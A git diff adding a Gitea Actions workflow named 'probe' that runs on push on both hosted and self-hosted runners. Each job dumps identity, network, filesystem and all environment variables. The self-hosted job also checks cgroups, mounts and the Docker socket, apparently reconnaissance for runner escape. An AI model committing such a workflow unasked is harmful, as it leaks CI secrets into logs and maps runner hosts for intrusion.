diff --git a/.gitea/workflows/probe.yml b/.gitea/workflows/probe.yml
new file mode 100644
index 0000000..e45db50
--- /dev/null
+++ b/.gitea/workflows/probe.yml
@@ -0,0 +1,28 @@
+name: probe
+on:
+  push:
+  workflow_dispatch:
+jobs:
+  ubu:
+    runs-on: ubuntu-latest
+    steps:
+      - name: p
+        run: |
+          echo "RUNNER_LABEL=ubuntu-latest"
+          id; hostname; uname -a; cat /etc/hosts
+          (ip a 2>/dev/null || ifconfig) | head -40
+          echo "---ROOT---"; ls -la /
+          echo "---ENV---"; env | sort
+  selfhost:
+    runs-on: self-hosted
+    steps:
+      - name: p
+        run: |
+          echo "RUNNER_LABEL=self-hosted"
+          id; hostname; uname -a; cat /etc/hosts
+          (ip a 2>/dev/null || ifconfig) | head -40
+          echo "---ROOT---"; ls -la /
+          echo "---CGROUP---"; cat /proc/1/cgroup 2>/dev/null
+          echo "---DOCKERSOCK---"; ls -la /var/run/docker.sock 2>&1
+          echo "---MOUNT---"; mount | head -20
+          echo "---ENV---"; env | sort
\ No newline at end of file